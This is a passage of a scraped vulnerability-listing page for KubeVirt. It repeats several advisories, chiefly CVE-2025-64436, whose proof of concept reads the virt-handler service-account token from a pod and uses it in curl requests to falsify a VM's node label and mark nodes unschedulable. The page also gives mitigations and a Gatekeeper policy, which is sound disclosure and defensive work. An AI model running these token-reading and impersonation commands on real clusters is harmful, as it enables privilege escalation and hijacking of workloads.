        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

Jun 13, 2023

v0.59.0 minor

14 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Mar 01, 2023

v0.59.0-rc.0 pre

14 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Feb 02, 2023

v0.59.0-alpha.2 pre

14 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

